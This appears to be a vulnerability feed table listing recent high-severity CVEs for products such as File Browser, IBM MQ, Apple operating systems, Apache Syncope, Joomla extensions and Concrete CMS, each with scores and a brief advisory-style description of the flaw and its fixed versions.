CVE-2026-90930	New	7.6	HIGH		0.004		File Browser through 2.63.23 applies path rules to the requested lexical path but resolves symbolic links without reapplying rules to the target, allowing authenticated users to bypass deny rules. Attackers can read and overwrite rule-denied files by accessing them through in-scope symbolic link aliases that resolve to denied paths.
CVE-2023-32803	New	7.5	HIGH		0.002		The ca-certificates package before ca-certificates-2021.2.50-72 for Amazon Linux 2 (AL2) does not properly remove certain TrustCor root certificates from the root store. NOTE: this issue exists because of an incorrect fix for CVE-2022-23491.
CVE-2026-13260	New	7.5	HIGH		0.004		IBM Verify Identity Access could allow a remote attacker to cause a denial of service due to insufficient validation of incoming request resources.
CVE-2026-15955	New	7.5	HIGH		0.004		IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 could allow a remote attacker to perform an arbitrary file write due to improper validation of file paths.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19290	New	7.5	HIGH		0.004		IBM Sterling File Gateway 6.2.0.0 through 6.2.0.6_1, 6.2.1.0 - 6.2.1.2, 6.2.2.0 - 6.2.2.1 could allow a remote attacker to obtain sensitive information due to improper access control.
CVE-2026-28935	New	7.5	HIGH		0.002		The issue was addressed with improved memory handling. This issue is fixed in iOS 26.6.1 and iPadOS 26.6.1, macOS Sequoia 15.8, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-28938	New	7.5	HIGH		0.001		A privacy issue was addressed by moving sensitive data. This issue is fixed in iOS 26.6 and iPadOS 26.6. An app may be able to fingerprint the user.
CVE-2026-28960	New	7.5	HIGH		0.004	apple:ipados, apple:iphone_os	A denial-of-service issue was addressed with improved validation. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10. A remote attacker may be able to cause a denial-of-service.
CVE-2026-33963	New	7.5	HIGH		0.001		An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. A stack-based buffer overflow occurs when a malformed message is sent to the camera driver, causing a denial of service.
CVE-2026-43789	New	7.5	HIGH		0.002	apple:macos	An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.
CVE-2026-50270	New	7.5	HIGH		0.006		dd-trace-java is a Datadog APM client for Java. Prior to 1.62.0, W3C baggage extraction does not enforce DD_TRACE_BAGGAGE_MAX_ITEMS, which defaults to 64, or DD_TRACE_BAGGAGE_MAX_BYTES, which defaults to 8192, although those limits apply during baggage injection. A remote unauthenticated attacker can send a baggage HTTP header containing many comma-separated key-value pairs ...
CVE-2026-50276	New	7.5	HIGH		0.008		dd-trace-rb is Datadog's client library for Ruby. Prior to 2.32.0, W3C baggage extraction does not enforce DD_TRACE_BAGGAGE_MAX_ITEMS, which defaults to 64, or DD_TRACE_BAGGAGE_MAX_BYTES, which defaults to 8192, although those limits apply during baggage injection. A remote unauthenticated attacker can send a baggage HTTP header containing many comma-separated key-value pair...
CVE-2026-53659	New	7.5	HIGH		0.004		http4k is a functional toolkit for Kotlin HTTP applications. Prior to 4.51.0.0, 5.42.0.0, and 6.49.0.0, ServerFilters.GZip, RequestFilters.GunZip, and the underlying Gzip request-body decompression functions impose no limit on decompressed size. An unauthenticated client can send a small gzip-encoded request body that expands to gigabytes, exhausting the JVM heap and denying...
CVE-2026-53752	New	7.5	HIGH		0.004		docx4j is an open source Java library for creating, editing, and saving OpenXML packages, including DOCX, PPTX, and XLSX files. Prior to 11.5.14, PropertyResolver and adjacent helpers recursively follow the WordprocessingML w:basedOn style inheritance chain without cycle detection. A well-formed DOCX containing mutually based styles causes unbounded recursion in PropertyReso...
CVE-2026-54156	New	7.5	HIGH		0.005		node-opcua is an OPC UA implementation for TypeScript and Node.js. Prior to 2.166.0, the process-global g_alreadyUsedNonce cache used by nonceAlreadyBeenUsed in packages/node-opcua-secure-channel/source/server/server_secure_channel_layer.ts records nonces from OpenSecureChannelRequest and CreateSession without expiration or a size limit. An unauthenticated remote attacker ca...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54567	New	7.5	HIGH		0.006		Flask-Reuploaded provides file uploads for Flask. From 1.5.0 until 1.6.0, UploadSet.save(storage, name=...) in src/flask_uploads/flask_uploads.py applies lowercase_ext to the default upload path but uses the case-preserving extension helper for a caller-supplied name before extension_allowed evaluates an AllExcept denylist. An attacker who controls the name override can use ...
CVE-2026-54629	New	7.5	HIGH		0.01		Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server exposes file-backed SQLite virtual table modules such as csv_reader and log_reader through its MySQL-compatible server port without authentication, authorization, or directory restrictions. A remote attacker can use SQLite CREATE VIRTUAL TABLE statements to provide a local path to these m...
CVE-2026-54632	New	7.5	HIGH		0.005		SIPSorcery is a WebRTC, SIP, and VoIP library for C# and .NET. Prior to 10.0.9, RTPChannel.OnRTPPacketReceived and the STUNAttribute.ParseMessageAttributes, STUNXORAddressAttribute, and STUNAddressAttribute parsing path index untrusted bytes without sufficient length checks, while UdpReceiver.EndReceiveFrom closes the channel when those operations raise a non-socket exceptio...
CVE-2026-55091	New	7.5	HIGH		0.004		flat-to-nested converts a hierarchy from a flat representation to a nested representation. Prior to 1.1.2, FlatToNested.prototype.convert in index.js uses attacker-influenced id and parent record fields directly as keys in the plain temp and pendingChildOf objects. When parent or id is __proto__, temp[parent] can resolve to Object.prototype, and initPush() can write attacker...
CVE-2026-57119	New	7.5	HIGH		0.004		PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables,...
CVE-2026-57129	New	7.5	HIGH		0.004		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, MentionsParser._process_file_mention accepts file-mention values and falls back from workspace-relative resolution to Path(file_path) without traversal, symlink, or workspace-boundary validation. Prompt input from users, bots, or workflows can therefore read arbitrary files accessible to the process, i...
CVE-2026-57579	New	7.5	HIGH		0.005		Alchemy is an open source content management system engine written in Ruby on Rails. Prior to 7.4.15, 8.0.15, 8.1.14, and 8.2.6, the unauthenticated GET /api/pages/nested endpoint implemented by Api::PagesController#nested in app/controllers/alchemy/api/pages_controller.rb returns an unfiltered page tree because it performs no authorization and does not scope descendants by ...
CVE-2026-59570	New	7.5	HIGH		0.001		On affected versions of Zscaler client connector, a pre-installed peer app can tear down the Zscaler tunnel, force user logout, and toggle packet capture.
CVE-2026-59960	New	7.5	HIGH		0.005		Argos JavaScript provides official Argos SDKs for JavaScript. Prior to Argos core package version 6.2.1, attacker-controlled CI branch or ref values from GITHUB_HEAD_REF or ARGOS_BRANCH can flow through config.branch and getMergeBaseCommitSha() when hasRemoteContentAccess is false. The gitFetch() and gitMergeBase() functions in packages/core/src/ci-environment/git.ts interpo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-64761	New	7.5	HIGH		0.003	apple:ipados, apple:iphone_os	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in iOS 27 and iPadOS 27. An app may be able to identify what other apps a user has installed.
CVE-2026-65342	New	7.5	HIGH		0.002	apple:macos	A permissions issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-65364	New	7.5	HIGH		0.007	apple:macos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause unexpected system termination.
CVE-2026-65378	New	7.5	HIGH		0.002	apple:macos	An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.
CVE-2026-65410	New	7.5	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	The issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.
CVE-2026-73178	New	7.5	HIGH		0.004		Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Syncope. An administrator with adequate entitlements can get access via REST to the list of existing Access Tokens, including their signed JWT body. These values can be then used to perform further REST requests, impersonating users with higher administration entitlements. This issue aff...
CVE-2026-73236	New	7.5	HIGH		0.003		Incorrect Authorization vulnerability in Apache Syncope. Delegated administration security checks are based on Realm hierarchy and enforced via prefix matches. Due to incorrect implementation, two sibling Realms whose names begin with the same string cannot be correctly distinguished, resulting in incorrect authorization. This issue affects Apache Syncope: from 3.0.0...
CVE-2026-76442	New	7.5	HIGH		0.004		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-78336	New	7.5	HIGH		0.004		Insertion of sensitive information into sent data vulnerability in Apache Syncope. Any authenticated user can query for the list of available OIDC providers configured for SSO with Console and Enduser. The returned payload contains all configuration settings, including client secrets, regardless of the entitlements owned by the caller. This issue affects Apache Syncope...
CVE-2026-84543	New	7.5	HIGH		0.003	apple:macos	An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may cause unexpected system termination or corrupt kernel memory.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84544	New	7.5	HIGH		0.002	apple:macos	An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory.
CVE-2026-84549	New	7.5	HIGH		0.002	apple:macos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory.
CVE-2026-84553	New	7.5	HIGH		0.005	apple:macos	A resource exhaustion issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause a denial-of-service.
CVE-2026-84563	New	7.5	HIGH		0.003	apple:macos	A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.
CVE-2026-84598	New	7.5	HIGH		0.002	apple:ipados, apple:iphone_os	A path traversal issue was addressed with improved path validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27. An attacker with physical access to a trust-paired device may be able to read and write arbitrary files.
CVE-2026-84606	New	7.5	HIGH		0.003		A privacy issue was addressed with improved handling of identifiers. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. An app may be able to identify a user across reinstalls.
CVE-2026-84629	New	7.5	HIGH		0.002	apple:ipados, apple:iphone_os, apple:tvos, apple:visionos, apple:watchos	This issue was addressed with additional entitlement checks. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to fingerprint the user.
CVE-2026-85189	New	7.5	HIGH		0.002		Joomla Extension - regularlabs.com - Privileged stored XSS via executable URL schemes in Modals extension for Joomla < 17.0.0 - Modals treats a destination using an executable browser URL scheme as an ordinary modal URL. The value can reach both the generated link and the iframe-loading path. Authored content can consequently become JavaScript in a visitor's browser without ...
CVE-2026-85190	New	7.5	HIGH		0.002		Joomla Extension - regularlabs.com - Privileged stored XSS via class option in Quick Index extension for Joomla < 5.0.5 - Quick Index inserts configurable class values into generated HTML without escaping them for an HTML attribute. A crafted value can close the intended class attribute and introduce a new attribute. Joomla's content filter cannot reliably prevent this becau...
CVE-2026-85191	New	7.5	HIGH		0.002		Joomla Extension - regularlabs.com - Privileged stored XSS via rtla-alias option in Tabs & Accordions extension for Joomla < 3.1.0 - Tabs & Accordions rewrites links matching an item alias into calls to its browser API. The affected renderer places the alias inside a quoted JavaScript argument in an HTML onclick attribute without securing both the JavaScript-string and HTML-...
CVE-2026-85195	New	7.5	HIGH		0.002		Joomla Extension - regularlabs.com - Privileged stored XSS via link option in Articles Anywhere extension for Joomla < 20.0.0 - Articles Anywhere accepts link options such as onclick and onmouseover. In affected versions, those options become real HTML event attributes without checking the article author's trust level. The plugin syntax survives Joomla's normal Author conten...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86894	New	7.5	HIGH		0.002	apple:macos	A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox.
CVE-2026-86895	New	7.5	HIGH		0.003	apple:ipados, apple:iphone_os, apple:tvos, apple:visionos, apple:watchos	An information disclosure issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, tvOS 27, visionOS 27, watchOS 27. A local app may be able to read a persistent account identifier.
CVE-2026-86904	New	7.5	HIGH		0.003	apple:ipados, apple:iphone_os, apple:watchos	A privacy issue was addressed with improved state management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, watchOS 27. An app may be able to track users across apps and websites without permission.
CVE-2026-87779	New	7.5	HIGH		0.004		Insertion of sensitive information into log file vulnerability in Apache Syncope. When AES key of non-standard length (not 16/24/32 bytes) is configured, Syncope will pad the provided value with random characters. The resulting key value is logged. This issue affects Apache Syncope: from 3.0.15 through 3.0.16, from 4.0.3 through 4.0.7, from 4.1.0-M0 through 4.1.2. U...
CVE-2026-88852	New	7.5	HIGH		0.002		Joomla Extension - regularlabs.com - Privileged stored XSS via url option in Snippets Free extension for Joomla < 7.0.0, Snippets Pro extension for Joomla < 11.0.0 - Snippets substitutes variable values supplied by an article tag into saved Snippet content. The affected versions do not consider the article author's trust level. A lower-privileged author can therefore place a...
CVE-2026-88853	New	7.5	HIGH		0.002		Joomla Extension - regularlabs.com - Privileged stored XSS via event handler option in Modals Pro extension for Joomla < 17.0.0 - Modals Pro intentionally supports JavaScript Events such as on-open and on-closed. Affected versions do not distinguish trusted extension configuration from event code supplied in ordinary article content. A lower-privileged author can therefore u...
CVE-2026-91144	New	7.5	HIGH		0.004		ZFile through 5.0.5 fails to validate requested file paths against a share link's allowed entries on the download endpoint. Attackers holding a share link can supply arbitrary file paths as query parameters to download any file under the shared base directory, bypassing the intended access restrictions.
CVE-2026-53714	New	7.4	HIGH		0.003		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, the xDS gRPC server in GatewayNamespaceMode, configured through provider.kubernetes.deploy.type=GatewayNamespace, installs a JWT StreamInterceptor but no UnaryInterceptor, leaving every unary Fetch RPC unauthenticated. The stream...
CVE-2026-70658	New	7.4	HIGH		0.005		Pay is a payments engine for Ruby on Rails 6.0 and higher. Prior to 11.6.2, Pay::Webhooks::PaddleBillingController#valid_signature? in app/controllers/pay/webhooks/paddle_billing_controller.rb compares the computed 64-character SHA-256 HMAC with the attacker-controlled h1 token from the Paddle-Signature header using Ruby String#==. An unauthenticated remote attacker who can ...
CVE-2026-73494	New	7.4	HIGH		0.004		blaze is a Scala library for building asynchronous pipelines, with a focus on network IO. Prior to 0.23.18 and from 1.0.0-M1 until 1.0.0-M42, five HTTP/1.1 conformance laxities in the hand-written Java parser under http/src/main/java/org/http4s/blaze/http/parser/ can cause blaze to derive a different request boundary than a stricter fronting intermediary. A default BlazeServ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2024-58383	New	7.3	HIGH		0.001		Froxlор before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlор SQL user's password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands o...
CVE-2026-18116	New	7.3	HIGH		0.003		Concrete CMS 8.3.0 to 9.5.2 stored calendar event names without sanitization and rendered them without HTML escaping in the workflow approval and deletion notifications shown in the dashboard "Waiting For Me" block. A registered user permitted to add events to a calendar governed by an approval workflow could submit an event whose name contained a script payload, which then ...
CVE-2026-18117	New	7.3	HIGH		0.003		Concrete CMS 9.0.0 through 9.5.3 is vulnerable to stored XSS via the custom page alias name (customAliasName) because the Edit Alias dialog applied only trim() to the submitted value and performed no input neutralization. An authenticated user holding canWrite (editor) permission on a page could store a malicious alias name that was later rendered unescaped in the administra...
CVE-2026-47253	New	7.3	HIGH		0.004		Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, the clear_plugin_cache(plugin) SQL scalar function in namespace/other_functions.go passes the caller-controlled plugin parameter through path.Join to os.RemoveAll without rejecting traversal segments. A low-privileged bearer-token holder can invoke the function through the /v1/query HTTP endpoint, causin...
CVE-2026-56839	New	7.3	HIGH		0.003		PraisonAI is a multi-agent teams system. Prior to 4.6.59, the CODE_TOOLS wrappers keep _workspace_root as None and pass workspace=None to read_file, search_replace, and apply_diff helpers that enforce path containment only for a truthy workspace. An application that exposes code_read_file, code_search_replace, or code_apply_diff before set_workspace can therefore let prompt-...
CVE-2026-64752	New	7.3	HIGH		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:visionos	A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing a maliciously crafted image may lead to arbitrary code execution.
CVE-2026-73195	New	7.3	HIGH		0.003		Improper Encoding or Escaping of Output vulnerability in Apache Syncope. Authenticated users can store a spreadsheet formula payload in one of their own plain attributes. When such users are included in a CSV export and the generated CSV file is opened by a spreadsheet application, the formula may be executed. This issue affects Apache Syncope: from 3.0.0-M0 through ...
CVE-2026-84611	New	7.3	HIGH		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.
CVE-2026-84620	New	7.3	HIGH		0.002		An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84632	New	7.3	HIGH		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	The issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.
CVE-2026-90789	New	7.3	HIGH		0.003		A weakness has been identified in itsourcecode Leave Management System 1.0. Affected by this issue is some unknown functionality of the file /login.php. Executing a manipulation of the argument user_email can lead to sql injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2023-28148	New	7.2	HIGH		0.002		A bodyclass XSS issue was discovered in Paessler PRTG before 23.3.86.1520.
CVE-2026-81901	New	7.2	HIGH		0.003		In Concrete CMS 9.2.0 through 9.5.2, the REST API page update endpoint (PUT /ccm/api/1.0/pages/{cId}) did not enforce page-property, page-template, or page-type authorization. A user granted only content-editing rights on a page could therefore alter its properties, template, and type through the API, and could set the header_extra_content attribute, which is rendered unesca...
CVE-2026-90929	New	7.2	HIGH		0.003		File Browser versions >= 2.5.0 and <= 2.63.23 contain an incorrect authorization flaw in the direct-upload endpoint (resourcePostHandler in http/resource.go). Unlike the TUS upload handler, the direct-upload handler does not reject a target that is an existing directory; a POST with ?override=true aimed at a directory fails inside writeFile (a directory cannot be opened for ...
CVE-2026-12756	New	7.1	HIGH		0.005		IBM Business Automation Workflow containers and traditional is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.
CVE-2026-13107	New	7.1	HIGH		0.004		IBM Business Automation Workflow containers and traditional may use programming model artifacts that are vulnerable to XML Entity Injection attacks by default.
CVE-2026-13275	New	7.1	HIGH		0.003		IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 Managed File Transfer could allow an authenticated attacker to read arbitrary files or perform server-side request forgery due to XML external entity injection in reply message proc...
CVE-2026-13285	New	7.1	HIGH		0.004		IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consum...
CVE-2026-13287	New	7.1	HIGH		0.004		IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consum...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19816	New	7.1	HIGH		0.001		A flaw was found in PackageKit. PackageKit skips the polkit authorization check for transactions carrying the SIMULATE (dry-run) flag. In the dnf5 backend, the RepoRemove handler ignores that contract and always executes the real transaction because its guard is written as (role == REPO_REMOVE !SIMULATE), which is always true for RepoRemove. An unprivileged local user can...
CVE-2026-20683	New	7.1	HIGH		0.002		An authentication issue was addressed with improved state management. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An app may be able to use the Sign In With Apple authentication flow to access the user's Apple Account.
CVE-2026-43697	New	7.1	HIGH		0.002	apple:macos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted 3D file may lead to an out-of-bounds read.
CVE-2026-64736	New	7.1	HIGH		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 26.6.1 and iPadOS 26.6.1, macOS Sequoia 15.8, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-77884	New	7.1	HIGH		0.003		Gallery - Private Photo Vault 1.0.41 starts an unauthenticated HTTP server that is reachable from the local network. The server listens on TCP port 8080 and serves files and directory listings from Android external storage.
CVE-2026-81902	New	7.1	HIGH		0.002		Concrete CMS 9 through 9.5.2 did not validate a CSRF token in the orphaned block removal panel action (removeOrphanedBlocks). A remote attacker could craft a request that, when loaded by an authenticated user holding edit permission on the target page, deleted every block on that page's current version; blocks not aliased to another page or scrapbook entry were also removed ...
CVE-2026-82035	New	7.1	HIGH		0.003		PyMuPDF through 1.28.2, fixed in commit b2c8f3a, contains a path traversal vulnerability in the font branch of extract_objects() in src/__main__.py, where the output filename is constructed by joining a document-controlled BaseFont name directly onto the user-supplied output directory without stripping path separators or dot-dot sequences. Attackers can supply a crafted PDF,...
CVE-2026-84548	New	7.1	HIGH		0.002	apple:macos	An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted document may lead to an out-of-bounds read.
CVE-2026-84565	New	7.1	HIGH		0.002	apple:macos	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted disk image may lead to unexpected app termination.
CVE-2026-8821	New	7.1	HIGH		0.002		Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to validate channel member-management permission during playbook run creation, allowing an authenticated channel member to add an arbitrary user to a restricted channel via the run owner field.. Mattermost Advisory ID: MMSA-2026-00677
CVE-2026-90688	New	7.1	HIGH		0.004		A vulnerability was identified in Tenda W20E 15.11.0.61068_1546_841_CN_TDC. This issue affects the function formIPMacBindAdd of the component HTTP Handler. Such manipulation of the argument IPMacBindRule leads to stack-based buffer overflow. It is possible to launch the attack remotely.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90927	New	7.1	HIGH		0.002		filebrowser through 2.63.23 fails to limit WebSocket message size in the /api/command handler before checking permissions, allowing authenticated users to buffer arbitrarily large messages. Attackers can send oversized WebSocket messages to exhaust server heap memory and cause denial of service regardless of EnableExec setting or Execute permission.
CVE-2026-90928	New	7.1	HIGH		0.003		File Browser through 2.63.23 contains a memory exhaustion vulnerability in the subtitle conversion endpoint that loads entire subtitle files into memory without size limits. Authenticated attackers with download permission can request conversion of large .srt, .ass, or .ssa files and exhaust server memory through concurrent requests, causing denial of service.
CVE-2026-90933	New	7.1	HIGH		0.002		laradashboard through 1.2.2 contains a missing authorization vulnerability in the Local License API endpoints that allows any authenticated user to read, overwrite, and delete premium module license keys. Attackers with low-privileged accounts can access GET /api/admin/licenses/show, POST /api/admin/licenses/store, and POST /api/admin/licenses/remove endpoints to disclose co...
CVE-2026-90939	New	7.1	HIGH		0.003		novel-plus through 5.3.3 contains an information disclosure vulnerability in the /sys/user/list endpoint that lacks proper permission annotations. Authenticated attackers can retrieve password hashes and personal data including email addresses and phone numbers for users within their data scope, enabling offline hash cracking and account takeover.
CVE-2026-91145	New	7.1	HIGH		0.002		Activiti through 7.1.0.M6 fails to validate hash-brace deferred expressions in process variables, allowing attackers to bypass expression filtering. Attackers can inject expressions beginning with #{ that are stored and later evaluated in the full Spring context when a mail task uses variable-backed body fields, enabling method invocation on application beans.
CVE-2026-91197	New	7.1	HIGH		0.003		Flowable flowable-engine through 8.0.0 contains an XML external entity injection vulnerability in ProcessDiagramLayoutFactory.parseXml() that fails to disable external entity resolution when parsing deployed BPMN resources. Attackers with process deployment privileges can embed DOCTYPE declarations with external entities in BPMN files to read arbitrary local files or trigger...
CVE-2026-18119	New	7.0	HIGH		0.003		Concrete CMS below 9.5.3 did not sanitize custom style values in the Block Design dialog before writing them into page CSS via a DOM sink, permitting stored cross-site scripting. An editor-level user could execute script in an administrator's session and escalate privileges. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.0 with vector CVSS:4.0/...
CVE-2026-71198	New	7.0	HIGH		0.004		In OpenStack Glance before 32.0.1, the location API does not validate destination hosts when adding an HTTP location to an image. Unlike the web-download import path, the location API only checks the URL scheme and does not apply the import_filtering_opts host restrictions. An authenticated user can add a location pointing to internal endpoints such as the cloud metadata ser...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81564	New	7.0	HIGH		0.003		Joomla Extension - joomshaper.com - Missing Directory Confinement in Media Rename Allowing Arbitrary File Rename in SP Page Builder (Free and Pro) 4.0.0 - 6.9.0 - The media rename task applied neither of the directory boundary checks used by the folder operations in the same controller, and its validation guard required only that either a media record exist for the supplied ...
CVE-2026-81903	New	7.0	HIGH		0.002		Concrete CMS versions 9.0.0 to 9.5.2 stored the Page Container icon value submitted through the dashboard without validating it against the set of known container icons. The unvalidated value was later concatenated into the src attribute of an img tag by a helper that did not encode attribute output, and was rendered raw in the Containers dashboard list and editor views. A u...
CVE-2026-54150	New	6.9	MEDI		0.004		next-video is a library for adding video to Next.js applications. Prior to 2.8.1, the GET endpoint exported by next-video/request-handler and commonly mounted at /api/video accepts an unauthenticated url query parameter, while src/utls/utls.ts isRemote() treats any value without an HTTP or HTTPS prefix as a local path. src/request-handler.ts passes that value through src/a...
CVE-2026-54559	New	6.9	MEDI		0.003		PocketSphinx is a small speech recognizer. Prior to 5.1.1, the trie language-model loaders in src/lm/ngram_model_trie.c do not adequately validate boundary conditions in ARPA, DMP, and binary format headers, and the acoustic-model loaders in src/mdef.c and src/util/bio.c use sscanf with unbounded string fields. Loading an invalid, corrupted, or malicious language or acoustic...
CVE-2026-55795	New	6.9	MEDI		0.003		Craft Commerce is an ecommerce platform for Craft CMS. From 4.0.0 until 4.11.2 and 5.6.5, CartController in src/controllers/CartController.php activates its RateLimiter only when the number POST or GET parameter is supplied. An unauthenticated attacker can submit couponCode values to actionUpdateCart for the session-based cart while omitting number, preventing creation of th...
